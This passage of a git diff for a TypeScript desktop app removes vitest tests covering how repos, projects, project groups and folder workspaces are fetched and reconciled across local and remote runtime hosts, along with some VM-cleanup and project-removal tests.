-}): { runtimeEnvironmentId: string | null } {
-  return { runtimeEnvironmentId: store.getState().settings?.activeRuntimeEnvironmentId ?? null }
-}
diff --git a/src/renderer/src/store/repos/repos-all-hosts.test.ts b/src/renderer/src/store/repos/repos-all-hosts.test.ts
deleted file mode 100644
index 57508de69f9..00000000000
--- a/src/renderer/src/store/repos/repos-all-hosts.test.ts
+++ /dev/null
@@ -1,712 +0,0 @@
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { createTestStore } from '../testing/app-store-test-fixture'
-import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types'
-import type { ProjectGroup } from '../../../../shared/project-group-types'
-import type { Project, ProjectHostSetup } from '../../../../shared/project-types'
-import type { Repo } from '../../../../shared/repo-types'
-import {
-  createCompatibleRuntimeStatusResponseIfNeeded,
-  type RuntimeEnvironmentCallRequest
-} from '../../runtime/rpc/testing/runtime-compatibility-test-fixture'
-import { clearRuntimeCompatibilityCache as clearRuntimeCompatibilityCacheForTests } from '../../runtime/rpc/compatibility/runtime-compatibility-cache'
-import { getSetupScriptPromptDismissalKey } from '../../runtime/repo-hooks/setup-script-prompt'
-
-const localRepo: Repo = {
-  id: 'local-repo',
-  path: '/local',
-  displayName: 'Local',
-  badgeColor: '#000',
-  addedAt: 1
-}
-
-const remoteRepo: Repo = {
-  id: 'remote-repo',
-  path: '/srv/repo',
-  displayName: 'Remote',
-  badgeColor: '#000',
-  addedAt: 1
-}
-
-const localProject: Project = {
-  id: 'local-project',
-  displayName: 'Local project',
-  badgeColor: '#000',
-  sourceRepoIds: ['local-repo'],
-  createdAt: 1,
-  updatedAt: 1
-}
-
-const localProjectHostSetup: ProjectHostSetup = {
-  id: 'local-setup',
-  projectId: 'local-project',
-  hostId: 'local',
-  repoId: 'local-repo',
-  path: '/local',
-  displayName: 'Local setup',
-  setupState: 'setting-up',
-  setupMethod: 'imported-existing-folder',
-  createdAt: 1,
-  updatedAt: 1
-}
-
-const localProjectGroup: ProjectGroup = {
-  id: 'local-group',
-  name: 'Local group',
-  parentPath: '/local',
-  parentGroupId: null,
-  createdFrom: 'manual',
-  tabOrder: 0,
-  isCollapsed: false,
-  color: null,
-  createdAt: 1,
-  updatedAt: 1
-}
-
-const remoteProjectGroup: ProjectGroup = {
-  id: 'remote-group',
-  name: 'Remote group',
-  parentPath: '/srv',
-  parentGroupId: null,
-  createdFrom: 'manual',
-  tabOrder: 0,
-  isCollapsed: false,
-  color: null,
-  createdAt: 1,
-  updatedAt: 1
-}
-
-const localFolderWorkspace: FolderWorkspace = {
-  id: 'local-folder',
-  projectGroupId: 'local-group',
-  name: 'Local folder',
-  folderPath: '/local',
-  linkedTask: null,
-  comment: '',
-  isArchived: false,
-  isUnread: false,
-  isPinned: false,
-  sortOrder: 0,
-  lastActivityAt: 1,
-  createdAt: 1,
-  updatedAt: 1
-}
-
-const remoteFolderWorkspace: FolderWorkspace = {
-  id: 'remote-folder',
-  projectGroupId: 'remote-group',
-  name: 'Remote folder',
-  folderPath: '/srv',
-  linkedTask: null,
-  comment: '',
-  isArchived: false,
-  isUnread: false,
-  isPinned: false,
-  sortOrder: 0,
-  lastActivityAt: 1,
-  createdAt: 1,
-  updatedAt: 1
-}
-
-const reposList = vi.fn()
-const projectsList = vi.fn()
-const listHostSetups = vi.fn()
-const projectGroupsList = vi.fn()
-const folderWorkspacesList = vi.fn()
-const runtimeEnvironmentsList = vi.fn()
-const runtimeEnvironmentCall = vi.fn()
-const runtimeEnvironmentTransportCall = vi.fn()
-const dispatchEventMock = vi.fn()
-
-beforeEach(() => {
-  clearRuntimeCompatibilityCacheForTests()
-  reposList.mockReset()
-  projectsList.mockReset()
-  listHostSetups.mockReset()
-  projectGroupsList.mockReset()
-  folderWorkspacesList.mockReset()
-  runtimeEnvironmentsList.mockReset()
-  runtimeEnvironmentCall.mockReset()
-  runtimeEnvironmentTransportCall.mockReset()
-  dispatchEventMock.mockReset()
-
-  reposList.mockResolvedValue([localRepo])
-  projectsList.mockResolvedValue([localProject])
-  listHostSetups.mockResolvedValue([localProjectHostSetup])
-  projectGroupsList.mockResolvedValue([localProjectGroup])
-  folderWorkspacesList.mockResolvedValue([localFolderWorkspace])
-  runtimeEnvironmentsList.mockResolvedValue([{ id: 'env-1', name: 'lobster' }])
-  runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-    if (args.method === 'repo.list') {
-      return {
-        id: 'rpc-repo-list',
-        ok: true,
-        result: { repos: [remoteRepo] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    }
-    if (args.method === 'projectGroup.list') {
-      return {
-        id: 'rpc-project-group-list',
-        ok: true,
-        result: { groups: [remoteProjectGroup] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    }
-    if (args.method === 'folderWorkspace.list') {
-      return {
-        id: 'rpc-folder-workspace-list',
-        ok: true,
-        result: { folderWorkspaces: [remoteFolderWorkspace] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    }
-    return {
-      id: 'rpc-other',
-      ok: true,
-      result: { projects: [], setups: [] },
-      _meta: { runtimeId: 'runtime-remote' }
-    }
-  })
-  runtimeEnvironmentTransportCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-    return createCompatibleRuntimeStatusResponseIfNeeded(args) ?? runtimeEnvironmentCall(args)
-  })
-
-  vi.stubGlobal('window', {
-    api: {
-      repos: { list: reposList },
-      projects: { list: projectsList, listHostSetups: listHostSetups },
-      projectGroups: { list: projectGroupsList },
-      folderWorkspaces: { list: folderWorkspacesList },
-      runtimeEnvironments: {
-        call: runtimeEnvironmentTransportCall,
-        list: runtimeEnvironmentsList
-      }
-    },
-    dispatchEvent: dispatchEventMock
-  })
-})
-
-function configureSharedProjectCompatibilityMocks(
-  options: {
-    localRepoHasProviderIdentity?: boolean
-    remoteProjectRuntimePreference?: Project['localWindowsRuntimePreference']
-  } = {}
-): {
-  sharedProjectId: string
-  sharedRemoteProject: Project
-} {
-  const sharedProjectId = 'github:stablyai/orca'
-  const localRepoForSharedProject: Repo =
-    options.localRepoHasProviderIdentity === false
-      ? localRepo
-      : {
-          ...localRepo,
-          upstream: { owner: 'stablyai', repo: 'orca' }
-        }
-  const remoteRepoWithIdentity: Repo = {
-    ...remoteRepo,
-    upstream: { owner: 'stablyai', repo: 'orca' }
-  }
-  const sharedLocalProject: Project = {
-    id: sharedProjectId,
-    displayName: 'Orca',
-    badgeColor: '#000',
-    sourceRepoIds: ['local-repo'],
-    localWindowsRuntimePreference: { kind: 'windows-host' },
-    createdAt: 1,
-    updatedAt: 1
-  }
-  const sharedRemoteProject: Project = {
-    id: sharedProjectId,
-    displayName: 'Orca',
-    badgeColor: '#111',
-    sourceRepoIds: ['remote-repo'],
-    ...(options.remoteProjectRuntimePreference
-      ? { localWindowsRuntimePreference: options.remoteProjectRuntimePreference }
-      : {}),
-    createdAt: 2,
-    updatedAt: 2
-  }
-  const sharedLocalSetup: ProjectHostSetup = {
-    ...localProjectHostSetup,
-    projectId: sharedProjectId
-  }
-  const sharedRemoteSetup: ProjectHostSetup = {
-    ...localProjectHostSetup,
-    id: 'remote-setup',
-    projectId: sharedProjectId,
-    repoId: 'remote-repo',
-    path: '/srv/repo',
-    displayName: 'Remote setup'
-  }
-  reposList.mockResolvedValue([localRepoForSharedProject])
-  projectsList.mockResolvedValue([sharedLocalProject])
-  listHostSetups.mockResolvedValue([sharedLocalSetup])
-  runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-    if (args.method === 'repo.list') {
-      return {
-        id: 'rpc-repo-list',
-        ok: true,
-        result: { repos: [remoteRepoWithIdentity] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    }
-    if (args.method === 'project.list') {
-      return {
-        id: 'rpc-project-list',
-        ok: true,
-        result: { projects: [sharedRemoteProject] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    }
-    if (args.method === 'projectHostSetup.list') {
-      return {
-        id: 'rpc-project-host-setup-list',
-        ok: true,
-        result: { setups: [sharedRemoteSetup] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    }
-    return {
-      id: 'rpc-other',
-      ok: true,
-      result: {},
-      _meta: { runtimeId: 'runtime-remote' }
-    }
-  })
-  return { sharedProjectId, sharedRemoteProject }
-}
-
-function expectSharedProjectMetadata(projects: readonly Project[], sharedProjectId: string): void {
-  const sharedProject = projects.find((project) => project.id === sharedProjectId)
-  expect([...(sharedProject?.sourceRepoIds ?? [])].sort()).toEqual(['local-repo', 'remote-repo'])
-  expect(sharedProject?.localWindowsRuntimePreference).toEqual({ kind: 'windows-host' })
-}
-
-function directSshRepo(targetId: string): Repo {
-  return {
-    ...localRepo,
-    id: 're-adopted-repo',
-    connectionId: targetId,
-    executionHostId: `ssh:${targetId}`
-  }
-}
-
-const repoReadoption = {
-  oldTargetId: 'ssh-old',
-  newTargetId: 'ssh-new',
-  repoIds: ['re-adopted-repo']
-}
-
-describe('fetchReposForAllHosts', () => {
-  it('reconciles a targeted runtime response against the latest repo state', async () => {
-    const staleRepo = directSshRepo('ssh-old')
-    const liveRepo = directSshRepo('ssh-new')
-    let resolveRepoList!: (response: unknown) => void
-    const repoListResponse = new Promise((resolve) => (resolveRepoList = resolve))
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        return repoListResponse
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: { projects: [], setups: [] },
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-    const store = createTestStore()
-    store.setState({
-      repos: [staleRepo],
-      pendingSshRepoReadoptions: [repoReadoption]
-    })
-
-    const load = store.getState().fetchRuntimeEnvironmentRepos('env-1')
-    store.setState({ repos: [staleRepo, liveRepo] })
-    resolveRepoList({
-      id: 'rpc-repo-list',
-      ok: true,
-      result: { repos: [remoteRepo] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await load
-
-    expect(store.getState().repos).toEqual([
-      liveRepo,
-      { ...remoteRepo, executionHostId: 'runtime:env-1' }
-    ])
-  })
-
-  it('preserves runtime-owned project metadata during a local-only repo refresh', async () => {
-    const runtimeProject: Project = {
-      id: 'repo:remote-repo',
-      displayName: 'Runtime API project',
-      badgeColor: '#abc',
-      sourceRepoIds: ['remote-repo'],
-      createdAt: 3,
-      updatedAt: 4
-    }
-    const runtimeSetup: ProjectHostSetup = {
-      ...localProjectHostSetup,
-      id: 'runtime-setup',
-      projectId: runtimeProject.id,
-      repoId: 'remote-repo',
-      path: '/srv/repo',
-      displayName: 'Runtime setup',
-      setupState: 'ready',
-      createdAt: 3,
-      updatedAt: 4
-    }
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        return {
-          id: 'rpc-repo-list',
-          ok: true,
-          result: { repos: [remoteRepo] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'project.list') {
-        return {
-          id: 'rpc-project-list',
-          ok: true,
-          result: { projects: [runtimeProject] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'projectHostSetup.list') {
-        return {
-          id: 'rpc-project-host-setup-list',
-          ok: true,
-          result: { setups: [runtimeSetup] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-    const store = createTestStore()
-
-    await store.getState().fetchReposForAllHosts()
-    await store.getState().fetchRepos({ runtimeEnvironmentId: null })
-
-    expect(
-      store
-        .getState()
-        .projects.map((project) => project.id)
-        .sort()
-    ).toEqual(['local-project', 'repo:remote-repo'])
-    expect(store.getState().projects.find((project) => project.id === runtimeProject.id)).toEqual(
-      expect.objectContaining({
-        displayName: runtimeProject.displayName,
-        badgeColor: runtimeProject.badgeColor
-      })
-    )
-  })
-
-  it('preserves shared project metadata when the same project id is fetched from multiple hosts', async () => {
-    const { sharedProjectId } = configureSharedProjectCompatibilityMocks()
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-
-    await store.getState().fetchReposForAllHosts()
-
-    expectSharedProjectMetadata(store.getState().projects, sharedProjectId)
-    const setups = store.getState().projectHostSetups
-    expect(setups).toHaveLength(2)
-    expect(setups).toEqual(
-      expect.arrayContaining([
-        expect.objectContaining({
-          projectId: sharedProjectId,
-          hostId: 'local',
-          repoId: 'local-repo'
-        }),
-        expect.objectContaining({
-          projectId: sharedProjectId,
-          hostId: 'runtime:env-1',
-          repoId: 'remote-repo'
-        })
-      ])
-    )
-  })
-
-  it('keeps local Windows runtime preference when remote project metadata has its own preference', async () => {
-    const { sharedProjectId } = configureSharedProjectCompatibilityMocks({
-      remoteProjectRuntimePreference: { kind: 'wsl', distro: 'Ubuntu' }
-    })
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-
-    await store.getState().fetchReposForAllHosts()
-
-    expect(
-      store.getState().projects.find((project) => project.id === sharedProjectId)
-        ?.localWindowsRuntimePreference
-    ).toEqual({ kind: 'windows-host' })
-  })
-
-  it('keeps the local side of a shared project when a runtime refresh removes its repos', async () => {
-    const { sharedProjectId } = configureSharedProjectCompatibilityMocks()
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-
-    await store.getState().fetchReposForAllHosts()
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        return {
-          id: 'rpc-repo-list-empty',
-          ok: true,
-          result: { repos: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'project.list') {
-        return {
-          id: 'rpc-project-list-empty',
-          ok: true,
-          result: { projects: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'projectHostSetup.list') {
-        return {
-          id: 'rpc-project-host-setup-list-empty',
-          ok: true,
-          result: { setups: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-
-    await store.getState().fetchRuntimeEnvironmentRepos('env-1')
-
-    const sharedProject = store
-      .getState()
-      .projects.find((project) => project.id === sharedProjectId)
-    expect(sharedProject?.sourceRepoIds).toEqual(['local-repo'])
-    expect(sharedProject?.localWindowsRuntimePreference).toEqual({ kind: 'windows-host' })
-    expect(store.getState().projectHostSetups).toEqual([
-      expect.objectContaining({
-        projectId: sharedProjectId,
-        hostId: 'local',
-        repoId: 'local-repo'
-      })
-    ])
-  })
-
-  it('preserves API-owned local shared projects when repo identity cannot re-derive them', async () => {
-    const { sharedProjectId } = configureSharedProjectCompatibilityMocks({
-      localRepoHasProviderIdentity: false
-    })
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-
-    await store.getState().fetchReposForAllHosts()
-    expectSharedProjectMetadata(store.getState().projects, sharedProjectId)
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        return {
-          id: 'rpc-repo-list-empty',
-          ok: true,
-          result: { repos: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'project.list') {
-        return {
-          id: 'rpc-project-list-empty',
-          ok: true,
-          result: { projects: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'projectHostSetup.list') {
-        return {
-          id: 'rpc-project-host-setup-list-empty',
-          ok: true,
-          result: { setups: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-
-    await store.getState().fetchRuntimeEnvironmentRepos('env-1')
-
-    expect(store.getState().projects.map((project) => project.id)).toEqual([sharedProjectId])
-    expect(
-      store.getState().projects.find((project) => project.id === sharedProjectId)?.sourceRepoIds
-    ).toEqual(['local-repo'])
-    expect(store.getState().projectHostSetups).toEqual([
-      expect.objectContaining({
-        projectId: sharedProjectId,
-        hostId: 'local',
-        repoId: 'local-repo'
-      })
-    ])
-  })
-
-  it('drops refreshed-host source ownership when that repo no longer matches a shared project', async () => {
-    const { sharedProjectId } = configureSharedProjectCompatibilityMocks()
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-
-    await store.getState().fetchReposForAllHosts()
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        return {
-          id: 'rpc-repo-list-reassigned',
-          ok: true,
-          result: { repos: [remoteRepo] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'project.list') {
-        return {
-          id: 'rpc-project-list-empty',
-          ok: true,
-          result: { projects: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'projectHostSetup.list') {
-        return {
-          id: 'rpc-project-host-setup-list-empty',
-          ok: true,
-          result: { setups: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-
-    await store.getState().fetchRuntimeEnvironmentRepos('env-1')
-
-    expect(
-      store.getState().projects.find((project) => project.id === sharedProjectId)?.sourceRepoIds
-    ).toEqual(['local-repo'])
-    expect(
-      store
-        .getState()
-        .projects.map((project) => project.id)
-        .sort()
-    ).toEqual(['github:stablyai/orca', 'repo:remote-repo'])
-    expect(store.getState().projectHostSetups).toEqual(
-      expect.arrayContaining([
-        expect.objectContaining({
-          projectId: sharedProjectId,
-          hostId: 'local',
-          repoId: 'local-repo'
-        }),
-        expect.objectContaining({
-          projectId: 'repo:remote-repo',
-          hostId: 'runtime:env-1',
-          repoId: 'remote-repo'
-        })
-      ])
-    )
-  })
-
-  it('drops stale runtime repo ownership when project metadata lags behind repo removal', async () => {
-    const { sharedProjectId, sharedRemoteProject } = configureSharedProjectCompatibilityMocks()
-    const store = createTestStore()
-    store.setState({ settings: { activeRuntimeEnvironmentId: 'env-1' } as never })
-
-    await store.getState().fetchReposForAllHosts()
-    runtimeEnvironmentCall.mockImplementation((args: RuntimeEnvironmentCallRequest) => {
-      if (args.method === 'repo.list') {
-        return {
-          id: 'rpc-repo-list-empty',
-          ok: true,
-          result: { repos: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'project.list') {
-        return {
-          id: 'rpc-project-list-stale',
-          ok: true,
-          result: { projects: [sharedRemoteProject] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      if (args.method === 'projectHostSetup.list') {
-        return {
-          id: 'rpc-project-host-setup-list-empty',
-          ok: true,
-          result: { setups: [] },
-          _meta: { runtimeId: 'runtime-remote' }
-        }
-      }
-      return {
-        id: 'rpc-other',
-        ok: true,
-        result: {},
-        _meta: { runtimeId: 'runtime-remote' }
-      }
-    })
-
-    await store.getState().fetchRuntimeEnvironmentRepos('env-1')
-
-    expect(
-      store.getState().projects.find((project) => project.id === sharedProjectId)?.sourceRepoIds
-    ).toEqual(['local-repo'])
-  })
-
-  it('preserves remote repo filters during first-paint local catalog refresh', async () => {
-    const store = createTestStore()
-    const remoteDismissalKey = getSetupScriptPromptDismissalKey('runtime:env-1\0remote-repo')
-    const staleDismissalKey = getSetupScriptPromptDismissalKey('local\0stale-repo')
-    store.setState({
-      activeRepoId: 'remote-repo',
-      filterRepoIds: ['remote-repo', 'stale-repo'],
-      setupScriptPromptDismissedRepoIds: [remoteDismissalKey, staleDismissalKey],
-      trustedOrcaHooks: {
-        'remote-repo': { all: { approvedAt: 1 } },
-        'stale-repo': { all: { approvedAt: 2 } }
-      }
-    })
-
-    await store.getState().fetchReposForAllHosts({ remoteHosts: 'skip' })
-
-    expect(store.getState().activeRepoId).toBe('remote-repo')
-    expect(store.getState().filterRepoIds).toEqual(['remote-repo', 'stale-repo'])
-    expect(store.getState().setupScriptPromptDismissedRepoIds).toEqual([
-      remoteDismissalKey,
-      staleDismissalKey
-    ])
-    expect(store.getState().trustedOrcaHooks).toEqual({
-      'remote-repo': { all: { approvedAt: 1 } },
-      'stale-repo': { all: { approvedAt: 2 } }
-    })
-
-    await store.getState().fetchReposForAllHosts()
-
-    expect(store.getState().activeRepoId).toBe('remote-repo')
-    expect(store.getState().filterRepoIds).toEqual(['remote-repo'])
-    expect(store.getState().setupScriptPromptDismissedRepoIds).toEqual([remoteDismissalKey])
-    expect(store.getState().trustedOrcaHooks).toEqual({
-      'remote-repo': { all: { approvedAt: 1 } }
-    })
-  })
-})
diff --git a/src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts b/src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts
index c0e5c1fb786..0ab540b2479 100644
--- a/src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts
+++ b/src/renderer/src/store/repos/repos-ephemeral-vm-cleanup-retention.test.ts
@@ -1,14 +1,10 @@
 import { expect, it, vi } from 'vitest'
-import { toast } from 'sonner'
-import { getRepoExecutionHostId } from '../../../../shared/execution-host'
 import type { Repo } from '../../../../shared/repo-types'
 import type { PublicKnownRuntimeEnvironment } from '../../../../shared/remote-runtime/host-catalog/runtime-environments'
 import {
   ephemeralVmCleanup,
   ephemeralVmListRuntimes,
   installReposRuntimeRoutingHarness,
-  reposRemoveForHost,
-  runtimeEnvironmentCall,
   runtimeEnvironmentsList,
   sshRepo
 } from './repo-runtime-routing.test-fixture'
@@ -25,36 +21,6 @@ vi.mock('sonner', () => ({
 
 installReposRuntimeRoutingHarness()
 
-it('retains a runtime-owned SSH project when VM cleanup fails', async () => {
-  const runtimeRepo: Repo = { ...sshRepo, connectionId: 'runtime-ssh-runtime-1' }
-  ephemeralVmListRuntimes.mockResolvedValue([
-    {
-      id: 'runtime-1',
-      cleanupStatus: 'not_started',
-      sshTargetId: runtimeRepo.connectionId
-    }
-  ])
-  ephemeralVmCleanup.mockResolvedValue({
-    status: 'cleanup_failed',
-    cleanupStatus: 'failed',
-    sshTargetId: runtimeRepo.connectionId
-  })
-  const store = createTestStore()
-  store.setState({ repos: [runtimeRepo], activeRepoId: runtimeRepo.id })
-
-  await store.getState().removeProject(runtimeRepo.id, {
-    hostId: getRepoExecutionHostId(runtimeRepo),
-    errorFeedback: 'toast'
-  })
-
-  expect(store.getState().repos).toEqual([runtimeRepo])
-  expect(reposRemoveForHost).not.toHaveBeenCalled()
-  expect(toast.error).toHaveBeenCalledWith(
-    expect.any(String),
-    expect.objectContaining({ description: expect.stringContaining('Retry cleanup') })
-  )
-})
-
 const vmServerRepo: Repo = {
   ...sshRepo,
   id: 'vm-repo',
@@ -80,49 +46,6 @@ const vmServer: PublicKnownRuntimeEnvironment = {
   }
 }
 
-it('destroys a recipe VM whose managed server holds the project, without asking the gone server', async () => {
-  ephemeralVmListRuntimes.mockResolvedValue([
-    { id: 'runtime-1', cleanupStatus: 'not_started', sshTargetId: 'runtime-ssh-runtime-1' }
-  ])
-  ephemeralVmCleanup.mockResolvedValue({ status: 'cleaned', cleanupStatus: 'succeeded' })
-  const store = createTestStore()
-  store.setState({
-    repos: [vmServerRepo],
-    runtimeEnvironments: [vmServer]
-  })
-
-  await store.getState().removeProject(vmServerRepo.id, {
-    hostId: 'runtime:env-vm',
-    errorFeedback: 'toast'
-  })
-
-  expect(ephemeralVmCleanup).toHaveBeenCalledWith({ runtimeId: 'runtime-1' })
-  expect(runtimeEnvironmentCall).not.toHaveBeenCalledWith(
-    expect.objectContaining({ method: 'repo.rm' })
-  )
-  expect(store.getState().repos).toEqual([])
-})
-
-it("retains a recipe VM's managed-server project when VM cleanup fails", async () => {
-  ephemeralVmListRuntimes.mockResolvedValue([
-    { id: 'runtime-1', cleanupStatus: 'not_started', sshTargetId: 'runtime-ssh-runtime-1' }
-  ])
-  ephemeralVmCleanup.mockResolvedValue({
-    status: 'cleanup_failed',
-    cleanupStatus: 'failed',
-    sshTargetId: 'runtime-ssh-runtime-1'
-  })
-  const store = createTestStore()
-  store.setState({ repos: [vmServerRepo], runtimeEnvironments: [vmServer] })
-
-  await store.getState().removeProject(vmServerRepo.id, {
-    hostId: 'runtime:env-vm',
-    errorFeedback: 'toast'
-  })
-
-  expect(store.getState().repos).toEqual([vmServerRepo])
-})
-
 it('never destroys another VM whose server publishes the same workspace id', async () => {
   const sharedWorkspaceId = `${vmServerRepo.id}::/home/orca/project`
   ephemeralVmListRuntimes.mockResolvedValue([
diff --git a/src/renderer/src/store/repos/repos-remove-missing-remote-project.test.ts b/src/renderer/src/store/repos/repos-remove-missing-remote-project.test.ts
index 8754c3e5a7d..779bc96d670 100644
--- a/src/renderer/src/store/repos/repos-remove-missing-remote-project.test.ts
+++ b/src/renderer/src/store/repos/repos-remove-missing-remote-project.test.ts
@@ -96,16 +96,4 @@ describe('removeProject when the owning host already dropped the project', () =>
 
     expect(store.getState().repos.map((repo) => repo.id)).toEqual(['project-a'])
   })
-
-  it('keeps the row and stays silent when the remote fails for another reason', async () => {
-    answerRepoRmWith('runtime_unavailable')
-    const store = seedRemoteProjects([liveRemoteRepo, staleRemoteRepo])
-
-    await store.getState().removeProject('project-b', { hostId: 'runtime:env-1' })
-
-    expect(store.getState().repos.map((repo) => repo.id)).toEqual(['project-a', 'project-b'])
-    expect(toast.error).not.toHaveBeenCalled()
-    // An unconfirmed removal is not evidence the host dropped the project.
-    expect(reposRemoveForHost).not.toHaveBeenCalled()
-  })
 })
diff --git a/src/renderer/src/store/repos/repos-selected-owner-routing.test.ts b/src/renderer/src/store/repos/repos-selected-owner-routing.test.ts
index c774547074b..7699d88a82e 100644
--- a/src/renderer/src/store/repos/repos-selected-owner-routing.test.ts
+++ b/src/renderer/src/store/repos/repos-selected-owner-routing.test.ts
@@ -1,5 +1,4 @@
 import { beforeEach, describe, expect, it, vi } from 'vitest'
-import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types'
 import type { ProjectGroup } from '../../../../shared/project-group-types'
 import type { Repo } from '../../../../shared/repo-types'
 import {
@@ -130,185 +129,4 @@ describe('selected Add Project owner routing', () => {
       ])
     )
   })
-
-  it('drops older same-host group and folder responses that finish last', async () => {
-    let resolveOldGroup!: (value: unknown) => void
-    let resolveNewGroup!: (value: unknown) => void
-    let resolveOldFolder!: (value: unknown) => void
-    let resolveNewFolder!: (value: unknown) => void
-    const groupResponses = [
-      new Promise((resolve) => {
-        resolveOldGroup = resolve
-      }),
-      new Promise((resolve) => {
-        resolveNewGroup = resolve
-      })
-    ]
-    const folderResponses = [
-      new Promise((resolve) => {
-        resolveOldFolder = resolve
-      }),
-      new Promise((resolve) => {
-        resolveNewFolder = resolve
-      })
-    ]
-    runtimeEnvironmentCall.mockImplementation(({ method }) => {
-      if (method === 'projectGroup.list') {
-        return groupResponses.shift()
-      }
-      if (method === 'folderWorkspace.list') {
-        return folderResponses.shift()
-      }
-      throw new Error(`Unexpected method: ${method}`)
-    })
-    const store = createTestStore()
-    const oldGroup = { ...projectGroup, id: 'group-old', parentPath: '/runtime/old' }
-    const newGroup = { ...projectGroup, id: 'group-new', parentPath: '/runtime/new' }
-    const oldFolder: FolderWorkspace = {
-      id: 'old-folder',
-      projectGroupId: oldGroup.id,
-      name: 'Old folder',
-      folderPath: '/runtime/old',
-      linkedTask: null,
-      comment: '',
-      isArchived: false,
-      isUnread: false,
-      isPinned: false,
-      sortOrder: 0,
-      lastActivityAt: 0,
-      createdAt: 1,
-      updatedAt: 1
-    }
-    const newFolder = {
-      ...oldFolder,
-      id: 'new-folder',
-      projectGroupId: newGroup.id,
-      name: 'New folder',
-      folderPath: '/runtime/new'
-    }
-
-    const oldGroupsRequest = store.getState().fetchProjectGroups({ runtimeEnvironmentId: 'env-1' })
-    const newGroupsRequest = store.getState().fetchProjectGroups({ runtimeEnvironmentId: 'env-1' })
-    resolveNewGroup({
-      id: 'rpc-new-group',
-      ok: true,
-      result: { groups: [newGroup] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await newGroupsRequest
-    resolveOldGroup({
-      id: 'rpc-old-group',
-      ok: true,
-      result: { groups: [oldGroup] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await oldGroupsRequest
-
-    store.setState({
-      projectGroups: [{ ...newGroup, executionHostId: 'runtime:env-1' }]
-    })
-    const oldFoldersRequest = store
-      .getState()
-      .fetchFolderWorkspaces({ runtimeEnvironmentId: 'env-1' })
-    const newFoldersRequest = store
-      .getState()
-      .fetchFolderWorkspaces({ runtimeEnvironmentId: 'env-1' })
-    resolveNewFolder({
-      id: 'rpc-new-folder',
-      ok: true,
-      result: { folderWorkspaces: [newFolder] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await newFoldersRequest
-    resolveOldFolder({
-      id: 'rpc-old-folder',
-      ok: true,
-      result: { folderWorkspaces: [oldFolder] },
-      _meta: { runtimeId: 'runtime-remote' }
-    })
-    await oldFoldersRequest
-
-    expect(store.getState().projectGroups).toEqual([
-      { ...newGroup, executionHostId: 'runtime:env-1' }
-    ])
-    expect(store.getState().folderWorkspaces).toEqual([
-      { ...newFolder, executionHostId: 'runtime:env-1' }
-    ])
-  })
-
-  it('drops pre-reconnect group and folder responses without pruning the new catalog', async () => {
-    let resolveOldGroup!: (value: unknown) => void
